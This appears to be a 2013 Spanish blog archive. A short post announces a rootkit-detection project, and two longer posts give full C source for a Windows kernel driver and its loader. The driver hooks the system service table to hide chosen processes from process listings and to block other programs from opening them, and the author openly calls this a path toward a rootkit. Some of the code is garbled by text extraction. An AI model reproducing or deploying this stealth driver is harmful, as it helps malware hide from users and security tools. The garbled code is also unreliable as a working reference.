He comenzando un proyecto Open Source lo he llamado "Kernel Analysis", el objetivo de la herramienta es detectar y reparar anomalías causadas por rootkits o Antivirus. El proyecto será desarrollado en inglés para que se unan personas con conocimientos en el tema y que no sean necesariamente hispanohablantes. El repositorio se encuentra en GitHub con su primera versión.
La primera versión solo incluye el driver que por ahora devuelve una matriz de los módulos cargados por el método de llamada directa a la API y por DKOM (Direct Kernel Object Manipulation). La GUI será subida en posteriores commits.
Link al repositorio en GitHub.
Saludos!
Mostrando entradas con la etiqueta C. Mostrar todas las entradas
Mostrando entradas con la etiqueta C. Mostrar todas las entradas
domingo, 9 de junio de 2013
miércoles, 30 de enero de 2013
Driver rumbo a rootkit
Continué agregando código al driver del post pasado, esta vez para ocultar el proceso y también protegerlo, ademas de que se pueden proteger hasta 3 procesos en lugar de uno, utilice el método HOOK_SYSCALL en lugar de DKOM por qué es un driver de protección que se puede descargar en cualquier momento si aplico el método DKOM debo de mantener un respaldo de las entradas a la EPROCESS modificadas y para evitar entrar en rollos mejor lo hice así.
El EXE es igual al post pasado.
Codigo de Hook.h
Código de main.c
Saludos!
El EXE es igual al post pasado.
Codigo de Hook.h
#include#ifndef _HOOK_H_ #define _HOOK_H_ #endif typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; typedef struct _SYSTEM_THREAD { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientId; KPRIORITY Priority; LONG BasePriority; ULONG ContextSwitchCount; ULONG State; KWAIT_REASON WaitReason; } SYSTEM_THREAD, *PSYSTEM_THREAD; typedef struct _SYSTEM_PROCESS_INFORMATION { ULONG NextEntryOffset; ULONG NumberOfThreads; LARGE_INTEGER Reserved[3]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ImageName; KPRIORITY BasePriority; HANDLE ProcessId; HANDLE InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; ULONG PrivatePageCount; VM_COUNTERS VirtualMemoryCounters; IO_COUNTERS IoCounters; SYSTEM_THREAD Threads[0]; } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)] #define Block CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000001, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) #define Unblock CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000002, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) typedef DWORD (ULONG); PMDL g_pmdlSystemCall; PVOID *MappedSystemCallTable; #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1) #define HOOK_SYSCALL(_Function, _Hook, _Orig ) \ _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) #define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \ InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
Código de main.c
#include#include "hook.h" //Declaramos la API para poder trabajar con ella. NTSYSAPI NTSTATUS NTAPI ZwOpenProcess (OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL); NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); typedef NTSTATUS (*TypZwQuerySysInfo)(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); TypZwQuerySysInfo ZwQuerySysInfoIni; typedef NTSTATUS (*TypZwOpenProc)(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL); TypZwOpenProc ZwOpenProcessIni; const WCHAR Device[]=L"\\device\\driverpid"; const WCHAR sLink[]=L"\\??\\driverpid"; USHORT ListPID[3]; UNICODE_STRING Dev, lnk; //int ListPID; int SearchPID(HANDLE PID){ int i; for (i = 0; i < 3; i++){ if ((HANDLE)ListPID[i] == PID) return i; } return -1; } int FreeIndex(){ int i; for (i = 0; i < 3; i++){ if (ListPID[i] == 0) return i; } return -1; } /* Función que es llamada para cualquier interacción con el driver Pero, solo maneja los I/O por medio de IRPs */ NTSTATUS IOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp){ PIO_STACK_LOCATION Stack; int *oBuffer; int *iBuffer; int i; NTSTATUS Status = STATUS_SUCCESS; Stack = IoGetCurrentIrpStackLocation(Irp); iBuffer = oBuffer = Irp->AssociatedIrp.SystemBuffer; if (oBuffer && iBuffer){ DbgPrint("Accesando a bloqueo de PID"); DbgPrint("Asociando buffers..."); if(Stack->Parameters.DeviceIoControl.InputBufferLength == sizeof(int)){ DbgPrint("Peticion recibida a PID: %d", *iBuffer); if(Stack->Parameters.DeviceIoControl.OutputBufferLength == sizeof(int)){ DbgPrint("Revisando estado de lista."); Irp->IoStatus.Information = sizeof(int); switch(Stack->Parameters.DeviceIoControl.IoControlCode){ case Block: { //if (ListPID == 0){ i = FreeIndex(); if (i >= 0){ DbgPrint("Protegiendo PID %d.", *iBuffer); ListPID[i] = (USHORT)*iBuffer; *oBuffer = 1; } else { *oBuffer = 0; DbgPrint("No hay espacio para proteger."); } break; } case Unblock: { DbgPrint("Eliminando proteccion"); i = SearchPID((HANDLE)*iBuffer); if (i >= 0){ //if (ListPID != 0){ DbgPrint("Liberando PID %d.", *iBuffer); ListPID[i] = 0; *oBuffer = 1; } else { *oBuffer = 0; DbgPrint("No hay procesos protegidos."); } } } //Switch } else { Status = STATUS_BUFFER_TOO_SMALL; Irp->IoStatus.Information = 0; } //Buffer Small } //In buffer } //Asociar buffer Irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest(Irp, IO_NO_INCREMENT); return Status; } NTSTATUS NewZwQuerySysInfo(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) { NTSTATUS Status; PSYSTEM_PROCESS_INFORMATION Actual, Next; int i; Status = ZwQuerySysInfoIni(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); //DbgPrint("Llamada a la API original"); if (SystemInformationClass != 5)//Si no llaman a la API para los procesos no nos importa return Status; //DbgPrint("Han pedido informacion de procesos"); if (!NT_SUCCESS(Status))//En este punto han llamado para los procesos, pero algo fallo return Status; //Cargamos el primer proceso que es 0 (?) Actual = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; //Si es el ultimo proceso esta entrada esta seteada en 0 //Por tanto si es el ultimo no se ejecuta el bloque while while (Actual->NextEntryOffset){ //Cargamos el siguiente proceso Next = (PSYSTEM_PROCESS_INFORMATION)((char*)Actual + Actual->NextEntryOffset); //Si el PID del proceso es igual al que estamos protegiendo //Y el PID a proteger no es 0 (ningún PID a proteger) i = SearchPID(Next->ProcessId); if (Next->ProcessId != 0){ while (i >= 0){ DbgPrint("Ocultando Proceso: %d", ListPID[i]); //En este caso si esta entrada esta seteada a 0 el siguiente proceso es el ultimo if (Next->NextEntryOffset == 0) //Así que hacemos que el proceso actual sea el ultimo Actual->NextEntryOffset = 0; else Actual->NextEntryOffset = Actual->NextEntryOffset + Next->NextEntryOffset; Next = (PSYSTEM_PROCESS_INFORMATION)((char*)Next + Next->NextEntryOffset); i = SearchPID(Next->ProcessId); } //Si no es el ultimo sumamos las entradas del actual y del siguiente //Para saltar la entrada de nuestro proceso //Actual->NextEntryOffset = Actual->NextEntryOffset + Next->NextEntryOffset; //No salimos del break porque puede haber mas procesos a ocultar } //Cargamos el siguiente bloque de proceso Actual = (PSYSTEM_PROCESS_INFORMATION)((char *)Actual + Actual->NextEntryOffset); } return Status; } NTSTATUS NewZwOpenProcess(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL) { HANDLE PID; __try //Utilizamos el bloque try para evitar BSOD { PID = ClientId->UniqueProcess; } __except(EXCEPTION_EXECUTE_HANDLER) { return STATUS_INVALID_PARAMETER; //Regresamos un estado invalido para que la aplicación se ocupe } //Verificamos el pid if ((SearchPID(PID) >= 0) && (PID != 0)){ //if (PID == (HANDLE)ListPID){ DbgPrint("PID: %d", PID); return STATUS_ACCESS_DENIED; //Retornamos acceso denegado } else return ZwOpenProcessIni(ProcessHandle, DesiredAccess,ObjectAttributes, ClientId); //Llamamos a la API nativa y retornamos el resultado correcto } VOID OnUnload(IN PDRIVER_OBJECT DriverObject) { DbgPrint("Descargando driver..."); //Unhookeamos UNHOOK_SYSCALL( ZwOpenProcess, ZwOpenProcessIni, NewZwOpenProcess ); UNHOOK_SYSCALL( ZwQuerySystemInformation, ZwQuerySysInfoIni, NewZwQuerySysInfo); DbgPrint("Eliminando Hooks"); //Eliminamos la MDL if(g_pmdlSystemCall) { MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall); IoFreeMdl(g_pmdlSystemCall); } DbgPrint("Proteccion a SSDT restaurada"); } NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath) { int i; NTSTATUS Status; DriverObject->DriverUnload = OnUnload; for(i=0; i MajorFunction[i] = IOControl; RtlInitUnicodeString(&Dev,Device); RtlInitUnicodeString(&lnk,sLink); //Creamos la MDL para deshabilitar la protección de memoria //g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4); g_pmdlSystemCall = IoAllocateMdl(KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4, FALSE, FALSE, NULL); if(!g_pmdlSystemCall) return STATUS_UNSUCCESSFUL; MmBuildMdlForNonPagedPool(g_pmdlSystemCall); g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode); Status = IoCreateDevice(DriverObject,0,&Dev,FILE_DEVICE_UNKNOWN,0,0,&DriverObject->DeviceObject); if (NT_SUCCESS(Status)){ Status =IoCreateSymbolicLink(&lnk,&Dev); DbgPrint("Creando device..."); if(!NT_SUCCESS(Status)){ IoDeleteDevice(DriverObject->DeviceObject); DbgPrint("Error creando link simbolico"); }else DbgPrint("SymbolicLink creado y cargado."); }else DbgPrint("Error creando el device."); DbgPrint("Driver cargado."); /* Hooking de las APIs Obtenemos la direccion de OpenProcess */ ZwOpenProcessIni =(TypZwOpenProc)(SYSTEMSERVICE(ZwOpenProcess)); DbgPrint("Hookeando OpenProcess..."); /* Cambiamos la dirección de la SSDT por la nuestra */ HOOK_SYSCALL( ZwOpenProcess, NewZwOpenProcess, ZwOpenProcessIni ); ZwQuerySysInfoIni = (TypZwQuerySysInfo)(SYSTEMSERVICE(ZwQuerySystemInformation)); DbgPrint("Hookeando QuerySysInfo..."); HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySysInfo, ZwQuerySysInfoIni); return Status; }
Saludos!
lunes, 28 de enero de 2013
ZwOpenProcess, provocar un acceso denegado
Llevo tiempo leyendo acerca de driver y me decidí a comenzar tocar código, es por ello que hice esta modificación al driver de Hendrix, que publica en su tema "Introducción a la programación de drivers en Windows", le agregue la parte de la comunicación, se que no es mucho pero bueno por algo se comienza.
Código de EXE
Código del SYS
En esta imagen se demuestra como se regresa un acceso denegado al intentar cerrar el proceso.

Saludos!
Código de EXE
#include#include #include #define Block CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000001, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) #define Unblock CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000002, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) void Usage(char *name); char *ExtractFileName(char *Name); void SendPID(int PID, int bBlock); int main(int argc, char *argv[]) { int i = 1; if (argc == 1) { Usage(argv[0]); return 0; } if (strlen(argv[1]) != 2){ Usage(argv[0]); return 0; } switch (argv[1][1]){ case 'i' : { //Se abre el administrador de servicios con la flag CREATE_SERVICE SC_HANDLE SCMan = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); if (SCMan == NULL){ printf("No se tienen los permisos necesarios para acceder a los servicios\n"); return 0; } //Crea el servicio tipo Driver, que inicie con el sistema SC_HANDLE Serv = CreateService(SCMan, argv[2], argv[2], SERVICE_ALL_ACCESS, // Desired Access SERVICE_KERNEL_DRIVER, // Service Type SERVICE_DEMAND_START, // Start Type SERVICE_ERROR_NORMAL, // Error Controle argv[3], NULL, NULL, NULL, NULL, NULL); printf("Ruta: %s\n", argv[3]); if (Serv == NULL){ if (GetLastError() == 1073){ //El error 0x431 significa que ya existe el servico Serv = OpenService(SCMan, argv[2], SERVICE_ALL_ACCESS); //Simplemente obtenemos el handle if (Serv == NULL){ printf("No se puede abrir el servicio\n"); printf("Error 0x%x", GetLastError()); return 0; } } else { printf("No se puede crear el servicio\n"); printf("Error 0x%x", GetLastError()); return 0; } } if (!StartService(Serv, 0, NULL)){ //Iniciamos el servicio printf("No se puede iniciar el servicio\n"); printf("Error 0x%x", GetLastError()); return 0; } printf("El servicio %s se ha instalado e iniciado...", argv[2]); CloseServiceHandle(Serv); //Cerramos el handle del servicio CloseServiceHandle(SCMan); //Cerramos el handle del administrador de servcios break; } case 'd':{ //Abrimos el admin de servicios SC_HANDLE SCMan = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); if (SCMan == NULL){ printf("No se tienen los permisos necesarios para acceder a los servicios\n"); return 0; } //Se obtiene un handle del servicio SC_HANDLE Serv = OpenService(SCMan, argv[2], SERVICE_ALL_ACCESS); if (Serv == NULL){ printf("Error abriendo el servicio %d\n", GetLastError()); return 0; } SERVICE_STATUS servStatus; //Enviamos la señal STOP_SERVICE BOOL bRet = ControlService(Serv, SERVICE_CONTROL_STOP, &servStatus); if (!bRet && (GetLastError() != ERROR_SERVICE_NOT_ACTIVE)){ //Este error significa que ya esta detenido printf("No se ha podido detener el servicio\nError: %d", GetLastError()); return 0; } if (!DeleteService(Serv)){ //Lo eliminamos printf("Error eliminando el servicio %d", GetLastError()); return 0; } printf("Servicio %s detenido y desinstalado", argv[2]); CloseServiceHandle(Serv); //Cerramos el handle del servicio CloseServiceHandle(SCMan); //Cerramos el handle del administrador de servcios break; } case 'h':{ printf("Proteccion de PID\n"); SendPID(atoi(argv[2]), 1); break; } case 'u':{ printf("Liberación de PID\n"); SendPID(atoi(argv[2]), 0); break; } } //system("PAUSE"); return 0; } void Usage(char *name){ printf("%s [opciones] [parametros]\n", ExtractFileName(name)); printf(" -i [Nombre] [Ruta] Carga y crea el servicio del driver.\n"); printf(" -d [Nombre] Detiene y elimina en servicio del driver.\n"); printf(" -h [PID] Protege un proceso.\n"); printf(" -u [PID] Libera un proceso.\n"); } char *ExtractFileName(char *name){ int len = strlen(name); while (len > 0){ if ((int)name[len] != 92) len--; else { len++; break; } } int iname = strlen(name) - len; char *ret = malloc((iname + 1)*sizeof(char)); strcpy(ret, name + len); return ret; } void SendPID(int PID, int bBlock){ HANDLE hDevice; BOOL bRet; DWORD a, dwState; int iBuffer, oBuffer; //iBuffer = PID; hDevice = CreateFile("\\\\.\\driverpid", GENERIC_WRITE | GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice != INVALID_HANDLE_VALUE) { printf("Handle Device: %d\n", hDevice); if (bBlock) dwState = (DWORD)Block; else dwState = (DWORD)Unblock; printf("Enviando peticion\n"); bRet = DeviceIoControl(hDevice, dwState, &PID, sizeof(int), &oBuffer, sizeof(int), &a, NULL); if (bRet) printf("PID: %d se respondio %d\n", iBuffer, oBuffer); } else { printf("No se puede establecer conexion\n"); printf("0x%08x\n",GetLastError()); } }
Código del SYS
#includetypedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)] #define Block CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000001, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) #define Unblock CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000002, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) typedef DWORD (ULONG); PMDL g_pmdlSystemCall; PVOID *MappedSystemCallTable; #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1) #define HOOK_SYSCALL(_Function, _Hook, _Orig ) \ _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) #define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \ InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) //Declaramos la API para poder trabajar con ella. NTSYSAPI NTSTATUS NTAPI ZwOpenProcess (OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL); typedef NTSTATUS (*TypZwOpenProc)(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL); TypZwOpenProc ZwOpenProcessIni; const WCHAR Device[]=L"\\device\\driverpid"; const WCHAR sLink[]=L"\\??\\driverpid"; UNICODE_STRING Dev, lnk; int ListPID; NTSTATUS IOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp){ PIO_STACK_LOCATION Stack; int *oBuffer; int *iBuffer; NTSTATUS Status = STATUS_SUCCESS; Stack = IoGetCurrentIrpStackLocation(Irp); DbgPrint("Accesando a bloqueo de PID"); DbgPrint("Asociando buffers..."); iBuffer = oBuffer = Irp->AssociatedIrp.SystemBuffer; if (oBuffer && iBuffer){ if(Stack->Parameters.DeviceIoControl.InputBufferLength == sizeof(int)){ DbgPrint("Peticion recibida a PID: %d", *iBuffer); if(Stack->Parameters.DeviceIoControl.OutputBufferLength == sizeof(int)){ DbgPrint("Revisando estado de lista."); Irp->IoStatus.Information = sizeof(int); switch(Stack->Parameters.DeviceIoControl.IoControlCode){ case Block: { if (ListPID == 0){ DbgPrint("Protegiendo PID %d.", *iBuffer); ListPID = *iBuffer; *oBuffer = 1; } else { *oBuffer = 0; DbgPrint("No hay espacio para proteger."); } break; } case Unblock: { DbgPrint("Eliminando proteccion"); if (ListPID != 0){ DbgPrint("Liberando PID %d.", *iBuffer); ListPID = 0; *oBuffer = 1; } else { *oBuffer = 0; DbgPrint("No hay procesos protegidos."); } } } //Switch } else { Status = STATUS_BUFFER_TOO_SMALL; Irp->IoStatus.Information = 0; } //Buffer Small } //In buffer } //Asociar buffer Irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest(Irp, IO_NO_INCREMENT); return Status; } NTSTATUS NewZwOpenProcess(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL) { HANDLE PID; __try //Utilizamos el bloque try para evitar BSOD { PID = ClientId->UniqueProcess; } __except(EXCEPTION_EXECUTE_HANDLER) { return STATUS_INVALID_PARAMETER; //Regresamos un estado invalido para que la aplicación se ocupe } //Verificamos el pid if (PID == (HANDLE)ListPID){ DbgPrint("PID: 0x%x", PID); return STATUS_ACCESS_DENIED; //Retornamos acceso denegado } else return ZwOpenProcessIni(ProcessHandle, DesiredAccess,ObjectAttributes, ClientId); //Llamamos a la API nativa y retornamos el resultado correcto } VOID OnUnload(IN PDRIVER_OBJECT DriverObject) { DbgPrint("Descargando driver..."); //Unhookeamos UNHOOK_SYSCALL( ZwOpenProcess, ZwOpenProcessIni, NewZwOpenProcess ); //Eliminamos la MDL if(g_pmdlSystemCall) { MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall); IoFreeMdl(g_pmdlSystemCall); } } NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath) { int i; NTSTATUS Status; DriverObject->DriverUnload = OnUnload; for(i=0; i MajorFunction[i] = IOControl; RtlInitUnicodeString(&Dev,Device); RtlInitUnicodeString(&lnk,sLink); //Creamos la MDL para deshabilitar la protección de memoria //g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4); g_pmdlSystemCall = IoAllocateMdl(KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4, FALSE, FALSE, NULL); if(!g_pmdlSystemCall) return STATUS_UNSUCCESSFUL; MmBuildMdlForNonPagedPool(g_pmdlSystemCall); g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode); Status = IoCreateDevice(DriverObject,0,&Dev,FILE_DEVICE_UNKNOWN,0,0,&DriverObject->DeviceObject); if (NT_SUCCESS(Status)){ Status =IoCreateSymbolicLink(&lnk,&Dev); DbgPrint("Creando device..."); if(!NT_SUCCESS(Status)){ IoDeleteDevice(DriverObject->DeviceObject); DbgPrint("Error creando link simbolico"); }else DbgPrint("SymbolicLink creado y cargado."); }else DbgPrint("Error creando el device."); DbgPrint("Driver cargado."); ZwOpenProcessIni =(TypZwOpenProc)(SYSTEMSERVICE(ZwOpenProcess)); DbgPrint("Hookeando..."); HOOK_SYSCALL( ZwOpenProcess, NewZwOpenProcess, ZwOpenProcessIni ); return Status; }
En esta imagen se demuestra como se regresa un acceso denegado al intentar cerrar el proceso.
Saludos!
Suscribirse a:
Entradas (Atom)